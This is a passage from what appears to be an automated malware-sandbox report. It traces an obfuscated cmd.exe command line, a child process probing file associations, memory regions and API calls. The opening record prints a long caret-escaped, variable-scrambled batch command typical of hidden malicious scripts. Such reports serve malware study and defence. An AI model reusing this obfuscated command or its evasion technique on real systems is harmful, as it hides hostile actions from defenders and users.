^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2af0e0 | out: lpCommandLine="Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", lpProcessInformation=0x2af0e0*(hProcess=0x54, hThread=0x60, dwProcessId=0xb50, dwThreadId=0xb54)) returned 1
	[0056.915] CloseHandle (hObject=0x60) returned 1
	[0056.915] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0056.915] GetEnvironmentStringsW () returned 0x3eeb60*
	[0056.915] FreeEnvironmentStringsW (penv=0x3eeb60) returned 1
	[0056.915] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0074.475] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2af028 | out: lpExitCode=0x2af028*=0x0) returned 1
	[0074.475] CloseHandle (hObject=0x54) returned 1
	[0074.475] _vsnwprintf (in: _Buffer=0x2af298, _BufferCount=0x13, _Format="%08X", _ArgList=0x2af038 | out: _Buffer="00000000") returned 8
	[0074.475] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0074.475] GetEnvironmentStringsW () returned 0x4000b0*
	[0074.475] FreeEnvironmentStringsW (penv=0x4000b0) returned 1
	[0074.475] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0074.475] GetEnvironmentStringsW () returned 0x4000b0*
	[0074.475] FreeEnvironmentStringsW (penv=0x4000b0) returned 1
	[0074.475] DeleteProcThreadAttributeList (in: lpAttributeList=0x2af0f8 | out: lpAttributeList=0x2af0f8) 
	[0074.475] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.475] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0074.475] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.476] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0074.476] _get_osfhandle (_FileHandle=0) returned 0x3
	[0074.476] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0074.476] SetConsoleInputExeNameW () returned 0x1
	[0074.476] GetConsoleOutputCP () returned 0x1b5
	[0074.476] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0074.476] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0074.476] exit (_Code=0) 

Process:
	id = "4"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4c7e0000"
	os_pid = "0xb38"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xb1c"
	cmd_line = "C:\\Windows\\system32\\cmd.exe /c  ^f^t^Yp^e | ^f^IN^d \"SHCm\" "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 976
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 977
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 978
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 979
	        start_va = 0x150000
	          end_va = 0x24ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 980
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 981
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 982
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 983
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 984
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 985
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 986
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 987
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 988
	        start_va = 0x380000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000380000"
	        filename = ""

Region:
	              id = 989
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 990
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 991
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 992
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 993
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 994
	        start_va = 0xc0000
	          end_va = 0xc6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 995
	        start_va = 0xd0000
	          end_va = 0xd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 996
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 997
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 998
	        start_va = 0x130000
	          end_va = 0x13ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 999
	        start_va = 0x250000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000250000"
	        filename = ""

Region:
	              id = 1000
	        start_va = 0x480000
	          end_va = 0x607fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000480000"
	        filename = ""

Region:
	              id = 1001
	        start_va = 0x610000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000610000"
	        filename = ""

Region:
	              id = 1002
	        start_va = 0x7a0000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 1003
	        start_va = 0x1ba0000
	          end_va = 0x1ee2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ba0000"
	        filename = ""

Region:
	              id = 1004
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1005
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1006
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1007
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1008
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1009
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1010
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1011
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1012
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1013
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1014
	        start_va = 0x1ef0000
	          end_va = 0x21befff
	     entry_point = 0x1ef0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")


Thread:
	id = 91
	os_tid = 0xb3c

	[0056.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fb90 | out: lpSystemTimeAsFileTime=0x24fb90*(dwLowDateTime=0xe409e670, dwHighDateTime=0x1d475a6)) 
	[0056.196] GetCurrentProcessId () returned 0xb38
	[0056.196] GetCurrentThreadId () returned 0xb3c
	[0056.196] GetTickCount () returned 0x1e37b
	[0056.196] QueryPerformanceCounter (in: lpPerformanceCount=0x24fb98 | out: lpPerformanceCount=0x24fb98*=1813537000000) returned 1
	[0056.198] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0056.198] __set_app_type (_Type=0x1) 
	[0056.198] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0056.198] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0056.198] GetCurrentThreadId () returned 0xb3c
	[0056.198] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb3c) returned 0x3c
	[0056.198] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.198] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0056.198] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.198] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0056.199] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fb28 | out: phkResult=0x24fb28*=0x0) returned 0x2
	[0056.199] VirtualQuery (in: lpAddress=0x24fb10, lpBuffer=0x24fa90, dwLength=0x30 | out: lpBuffer=0x24fa90*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.199] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fa90, dwLength=0x30 | out: lpBuffer=0x24fa90*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.199] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fa90, dwLength=0x30 | out: lpBuffer=0x24fa90*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.199] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24fa90, dwLength=0x30 | out: lpBuffer=0x24fa90*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.199] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fa90, dwLength=0x30 | out: lpBuffer=0x24fa90*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.199] GetConsoleOutputCP () returned 0x1b5
	[0056.199] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.199] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0056.199] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.199] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0056.199] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.199] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0056.200] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.200] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.200] GetEnvironmentStringsW () returned 0x398c50*
	[0056.200] FreeEnvironmentStringsW (penv=0x398c50) returned 1
	[0056.200] GetEnvironmentStringsW () returned 0x398c50*
	[0056.200] FreeEnvironmentStringsW (penv=0x398c50) returned 1
	[0056.200] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e9e8 | out: phkResult=0x24e9e8*=0x44) returned 0x0
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x18, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x1, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x1, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x0, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x40, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x40, lpcbData=0x24e9e4*=0x4) returned 0x0
